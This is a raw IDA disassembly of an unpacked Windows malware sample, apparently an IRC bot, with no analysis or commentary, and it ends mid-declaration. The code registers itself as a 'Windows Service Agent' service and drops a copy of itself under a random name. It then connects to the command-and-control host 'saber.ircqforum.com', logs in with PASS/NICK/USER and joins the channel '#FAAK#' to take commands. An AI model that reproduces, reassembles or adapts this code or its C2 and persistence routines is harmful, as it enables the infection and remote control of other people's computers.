; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : E983329C64F9960E5932FD20BD57DE49 ; File Name : u:\work\e983329c64f9960e5932fd20bd57de49_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DB000 ( 897024.) ; Section size in file : 000DB000 ( 897024.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401576p ; sub_418857+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsService ; "Windows Service Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4C92B8 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41B960 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4C9328 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4C9268 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4C92E0 add edi, 8 cmp edi, offset dword_429068 jl short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:0041699Ep var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41BC9B mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41BC88 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41BB48 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41BA60 add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41BA31 push edi call sub_41B9DB add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43C24C call dword_4C939C call sub_40B576 call dword_4C925C call dword_4C925C mov ebx, dword_427088 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BD10 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41BD10 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43B4B8 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 26A0000h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2690000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 268033Fh test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427078 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43B4B0 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call near ptr 77E75CB5h nop pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418B82 pop ecx mov dword_4C9040, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270B8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4C9044, eax call esi push eax call sub_41C058 pop ecx call sub_4098FD push 2 call dword_4C93B0 push 7530h push offset a1221 ; "1221" push ebx push ebx nop call near ptr 26B06E6h push eax nop call near ptr 26B065Ah cmp eax, 102h jnz short loc_4012A1 push 1 call near ptr 77E75CB5h nop loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4C9274 cmp eax, ebx jnz loc_4017DE cmp byte ptr [ebp-884h], 2 jnz loc_4017D8 xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017D8 mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 26A0000h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 26B04F9h push eax nop call near ptr 2690000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41C151 lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_429ACC lea eax, [ebp-5F4h] push esi push eax call sub_41C100 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41C080 add esp, 30h test eax, eax jnz loc_401513 cmp dword_4C91B0, ebx mov esi, offset byte_429108 jz short loc_401399 push esi xor edi, edi call sub_41B960 sub eax, 4 pop ecx jz short loc_401399 loc_401376: ; CODE XREF: ___:00401397j call sub_41C062 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41B960 sub eax, 4 pop ecx cmp edi, eax jb short loc_401376 loc_401399: ; CODE XREF: ___:00401366j ; ___:00401374j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_429AC4 push eax call sub_41C006 add esp, 10h lea eax, [ebp-1E8h] push eax call near ptr 26B0455h nop cmp eax, 0FFFFFFFFh jz short loc_4013D9 lea eax, [ebp-1E8h] push 80h push eax call near ptr 26B0389h nop loc_4013D9: ; CODE XREF: ___:004013C5j mov esi, dword_4270A0 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F0: ; CODE XREF: ___:00401427j call esi test eax, eax jnz short loc_401429 nop call near ptr 26A0EA9h cmp edi, ebx jnz short loc_401429 cmp eax, 20h jz short loc_40140A cmp eax, 5 jnz short loc_401429 loc_40140A: ; CODE XREF: ___:00401403j push 1 pop edi push 3A98h nop call near ptr 26A053Bh lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F0 ; --------------------------------------------------------------------------- loc_401429: ; CODE XREF: ___:004013F4j ; ___:004013FEj ... lea eax, [ebp-1E8h] push eax call sub_418791 pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 26B0389h push 10h lea eax, [ebp-20h] push ebx push eax call sub_41BD10 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41BD10 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset byte_43B4B8 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 26A0E0Ah push eax push esi push 100000h nop call near ptr 26A0840h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_429AB8 push eax call sub_41C006 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 268033Fh test eax, eax jz short loc_401513 push 0C8h nop call near ptr 26A053Bh push dword ptr [ebp-20h] mov esi, dword_427078 call esi push dword ptr [ebp-1Ch] call esi call dword_4C925C push ebx nop call near ptr 77E75CB5h loc_401513: ; CODE XREF: ___:00401355j ; ___:004014E9j cmp dword_4D9730, 2 jle short loc_40155F mov eax, dword_4D9734 push dword ptr [eax+4] call sub_41BEF9 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 26B065Ah push esi nop call near ptr 2680000h mov eax, dword_4D9734 cmp [eax+8], ebx jz short loc_40155F push 7D0h call near ptr 26A053Bh nop mov eax, dword_4D9734 push dword ptr [eax+8] nop call near ptr 26A0759h loc_40155F: ; CODE XREF: ___:0040151Aj ; ___:00401544j cmp dword_42908C, ebx jz short loc_40157C cmp dword_4C93D4, ebx jnz short loc_40157C lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157C: ; CODE XREF: ___:00401565j ; ___:0040156Dj lea eax, [ebp-0A0h] push offset dword_429A9C push eax call sub_41C006 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B3AD lea eax, [ebp-0A0h] push eax call sub_415CEE push 0B80h push ebx push offset dword_43B4C0 call sub_41BD10 lea eax, [ebp-0A0h] push offset unk_429A78 push eax call sub_41C006 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B3AD add esp, 38h mov esi, eax mov edi, dword_42708C lea eax, [ebp-8] push eax push ebx push ebx push offset word_419EEE push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43C254[esi], eax jnz short loc_40161C nop call near ptr 26A0EA9h push eax lea eax, [ebp-0A0h] push offset unk_429A38 push eax call sub_41C006 add esp, 0Ch loc_40161C: ; CODE XREF: ___:004015FFj lea eax, [ebp-0A0h] push eax call sub_415CEE push 2 call sub_40B5F5 pop ecx test eax, eax pop ecx jnz short loc_4016A1 lea eax, [ebp-0A0h] push offset dword_429A0C push eax call sub_41C006 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B3AD add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_410BBE push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43C254[esi], eax jnz short loc_401694 call near ptr 26A0EA9h nop push eax lea eax, [ebp-0A0h] push offset dword_4299D8 push eax call sub_41C006 add esp, 0Ch loc_401694: ; CODE XREF: ___:00401677j lea eax, [ebp-0A0h] push eax call sub_415CEE pop ecx loc_4016A1: ; CODE XREF: ___:00401633j call sub_41C062 push 7Fh and eax, 3 push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4C904C mov dword_4C91B8, eax call sub_41BD70 mov eax, dword_42906C push 3Fh mov edi, offset dword_4C90CC push offset dword_4290D4 push edi mov dword_4C919C, eax call sub_41BD70 push 3Fh mov esi, offset dword_4C910C push offset dword_4290DC push esi call sub_41BD70 add esp, 24h mov dword_4C91A0, ebx loc_4016F6: ; CODE XREF: ___:0040177Ej ; ___:00401789j ... mov [ebp-4], ebx loc_4016F9: ; CODE XREF: ___:00401732j push offset dword_4C9048 mov dword_4C91B4, ebx call sub_4017E7 cmp eax, 2 mov [ebp-10h], eax jz loc_4017D3 cmp dword_4C91B4, ebx jz short loc_401720 dec dword ptr [ebp-4] loc_401720: ; CODE XREF: ___:0040171Bj push 0BB8h nop call near ptr 26A053Bh inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016F9 cmp dword ptr [ebp-10h], 2 jz loc_4017D3 cmp [ebp-0Ch], ebx jz short loc_401783 push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4C904C call sub_41BD70 mov eax, dword_42906C push 3Fh push offset dword_4290D4 push edi mov dword_4C919C, eax call sub_41BD70 push 3Fh push offset dword_4290DC push esi call sub_41BD70 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016F6 ; --------------------------------------------------------------------------- loc_401783: ; CODE XREF: ___:00401741j cmp byte_4290E4, bl jz loc_4016F6 push 7Fh push offset byte_4290E4 push offset dword_4C904C call sub_41BD70 mov eax, dword_429070 push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4C919C, eax call sub_41BD70 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41BD70 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016F6 ; --------------------------------------------------------------------------- loc_4017D3: ; CODE XREF: ___:0040170Fj ; ___:00401738j call sub_40B576 loc_4017D8: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4C925C loc_4017DE: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017E7 proc near ; CODE XREF: ___:00401704p ; DATA XREF: sub_401AC7+658Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40180C: ; CODE XREF: sub_4017E7+E6j ; sub_4017E7+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4C9304 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40A8E4 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_401939 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41BD10 push 0 lea eax, [ebp+var_2C] push dword_42909C push dword_429098 push eax call sub_40AE77 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43C258 push edi push eax call sub_41BD70 add esp, 28h push 6 push 1 push 2 call dword_4C9384 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43C24C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4C92AC cmp eax, 0FFFFFFFFh jnz short loc_4018D2 push esi call dword_4C939C call sub_40A90D push 7D0h loc_4018C7: ; CODE XREF: sub_4017E7+146j nop call near ptr 26A053Bh jmp loc_40180C ; --------------------------------------------------------------------------- loc_4018D2: ; CODE XREF: sub_4017E7+CDj lea eax, [ebp+var_18C] push eax push offset unk_429AD4 call sub_415D62 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40194F add esp, 28h mov edi, eax push esi call dword_4C939C test edi, edi jz loc_40180C cmp edi, 1 jnz short loc_40192F push 0DBBA0h jmp short loc_4018C7 ; --------------------------------------------------------------------------- loc_40192F: ; CODE XREF: sub_4017E7+13Fj cmp edi, 2 jz short loc_40193D jmp loc_40180C ; --------------------------------------------------------------------------- loc_401939: ; CODE XREF: sub_4017E7+5Aj xor eax, eax jmp short loc_401949 ; --------------------------------------------------------------------------- loc_40193D: ; CODE XREF: sub_4017E7+14Bj push [ebp+var_34] call sub_40B6C9 pop ecx push 2 pop eax loc_401949: ; CODE XREF: sub_4017E7+154j pop edi pop esi leave retn 4 sub_4017E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40194F proc near ; CODE XREF: sub_4017E7+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41C2A0 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_40196D: ; CODE XREF: sub_40194F+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40196D cmp byte_4290D0, bl jz short loc_401994 push offset byte_4290D0 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40981C add esp, 0Ch loc_401994: ; CODE XREF: sub_40194F+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40AE77 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41C006 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4C9354 cmp eax, 0FFFFFFFFh jnz short loc_4019FE push [ebp+arg_0] call dword_4C939C push 1388h call near ptr 26A053Bh nop loc_4019F7: ; CODE XREF: sub_40194F+D9j ; sub_40194F+153j xor eax, eax loc_4019F9: ; CODE XREF: sub_40194F+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4019FE: ; CODE XREF: sub_40194F+92j ; sub_40194F+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4C931C test eax, eax jle short loc_4019F7 lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_41847D pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_4019FE lea edi, [ebp+var_A90] loc_401A4F: ; CODE XREF: sub_40194F+165j push 1 pop esi loc_401A52: ; CODE XREF: sub_40194F+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401AC7 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A95 push 7D0h call near ptr 26A053Bh nop jmp short loc_401A52 ; --------------------------------------------------------------------------- loc_401A95: ; CODE XREF: sub_40194F+137j cmp esi, 0FFFFFFFDh jz short loc_401ABF cmp esi, 0FFFFFFFEh jz short loc_401ABB cmp esi, 0FFFFFFFFh jz loc_4019F7 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A4F jmp loc_4019FE ; --------------------------------------------------------------------------- loc_401ABB: ; CODE XREF: sub_40194F+14Ej push 1 jmp short loc_401AC1 ; --------------------------------------------------------------------------- loc_401ABF: ; CODE XREF: sub_40194F+149j push 2 loc_401AC1: ; CODE XREF: sub_40194F+16Ej pop eax jmp loc_4019F9 sub_40194F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401AC7 proc near ; CODE XREF: sub_40194F+12Ap var_568C = byte ptr -568Ch var_528C = byte ptr -528Ch var_50FC = byte ptr -50FCh var_4FF8 = byte ptr -4FF8h var_4EF8 = byte ptr -4EF8h var_4CF8 = byte ptr -4CF8h var_4BF8 = byte ptr -4BF8h var_4AF4 = byte ptr -4AF4h var_49F4 = byte ptr -49F4h var_48F0 = byte ptr -48F0h var_47F0 = byte ptr -47F0h var_46F0 = byte ptr -46F0h var_45F0 = byte ptr -45F0h var_458C = byte ptr -458Ch var_448C = byte ptr -448Ch var_438C = byte ptr -438Ch var_428C = byte ptr -428Ch var_408C = byte ptr -408Ch var_3F8C = dword ptr -3F8Ch var_3F88 = byte ptr -3F88h var_3F08 = byte ptr -3F08h var_3E04 = byte ptr -3E04h var_3D00 = dword ptr -3D00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = byte ptr -3CE8h var_3C68 = byte ptr -3C68h var_3BE8 = byte ptr -3BE8h var_3B68 = byte ptr -3B68h var_3AE8 = byte ptr -3AE8h var_3A68 = dword ptr -3A68h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = byte ptr -3A58h var_37D1 = byte ptr -37D1h var_37D0 = byte ptr -37D0h var_36CC = dword ptr -36CCh var_36C4 = dword ptr -36C4h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B0 = dword ptr -36B0h var_36AC = dword ptr -36ACh var_36A8 = byte ptr -36A8h var_3628 = byte ptr -3628h var_35A8 = byte ptr -35A8h var_3528 = byte ptr -3528h var_34A8 = dword ptr -34A8h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = byte ptr -3494h var_3414 = byte ptr -3414h var_3394 = byte ptr -3394h var_3314 = byte ptr -3314h var_3294 = dword ptr -3294h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = byte ptr -3280h var_3200 = byte ptr -3200h var_3180 = byte ptr -3180h var_3100 = byte ptr -3100h var_3080 = dword ptr -3080h var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = byte ptr -306Ch var_2FEC = byte ptr -2FECh var_2F6C = byte ptr -2F6Ch var_2EEC = byte ptr -2EECh var_2E6C = dword ptr -2E6Ch var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = byte ptr -2E5Ch var_2D58 = dword ptr -2D58h var_2D54 = byte ptr -2D54h var_2C50 = byte ptr -2C50h var_2B4C = dword ptr -2B4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = byte ptr -2B40h var_2AC0 = dword ptr -2AC0h var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AAC = byte ptr -2AACh var_2994 = byte ptr -2994h var_2914 = dword ptr -2914h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = byte ptr -28FCh var_287C = byte ptr -287Ch var_277C = byte ptr -277Ch var_267C = dword ptr -267Ch var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = byte ptr -2654h var_25D4 = byte ptr -25D4h var_24D4 = byte ptr -24D4h var_23D4 = dword ptr -23D4h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = byte ptr -23ACh var_232C = byte ptr -232Ch var_22AC = byte ptr -22ACh var_222C = dword ptr -222Ch var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = byte ptr -2218h var_2198 = byte ptr -2198h var_2118 = byte ptr -2118h var_2098 = dword ptr -2098h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = byte ptr -2084h var_2004 = byte ptr -2004h var_1F84 = byte ptr -1F84h var_1F04 = dword ptr -1F04h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = byte ptr -1EF0h var_1DF0 = byte ptr -1DF0h var_1D70 = dword ptr -1D70h var_1D68 = dword ptr -1D68h var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D4C = byte ptr -1D4Ch var_1D38 = byte ptr -1D38h var_1C34 = byte ptr -1C34h var_1BB0 = dword ptr -1BB0h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B98 = byte ptr -1B98h var_1B84 = byte ptr -1B84h var_1A80 = byte ptr -1A80h var_1A00 = dword ptr -1A00h var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = byte ptr -19E8h var_1968 = byte ptr -1968h var_1928 = byte ptr -1928h var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1818 = dword ptr -1818h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = byte ptr -180Ch var_17D4 = byte ptr -17D4h var_17B8 = byte ptr -17B8h var_1780 = byte ptr -1780h var_177C = byte ptr -177Ch var_16FC = byte ptr -16FCh var_16BC = byte ptr -16BCh var_162C = dword ptr -162Ch var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = byte ptr -1618h var_1598 = byte ptr -1598h var_1518 = dword ptr -1518h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = byte ptr -1508h var_14F8 = byte ptr -14F8h var_1478 = byte ptr -1478h var_13F8 = dword ptr -13F8h var_13F0 = dword ptr -13F0h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = byte ptr -13D8h var_1358 = byte ptr -1358h var_12D8 = byte ptr -12D8h var_1258 = dword ptr -1258h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1234 = byte ptr -1234h var_11B4 = byte ptr -11B4h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1114 = dword ptr -1114h var_1110 = byte ptr -1110h var_1090 = byte ptr -1090h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = byte ptr -0FECh var_F6C = dword ptr -0F6Ch var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = byte ptr -0F58h var_ED8 = dword ptr -0ED8h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = byte ptr -0EC4h var_E44 = dword ptr -0E44h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = byte ptr -0E34h var_E24 = byte ptr -0E24h var_E04 = byte ptr -0E04h var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D00 = byte ptr -0D00h var_C80 = dword ptr -0C80h var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword 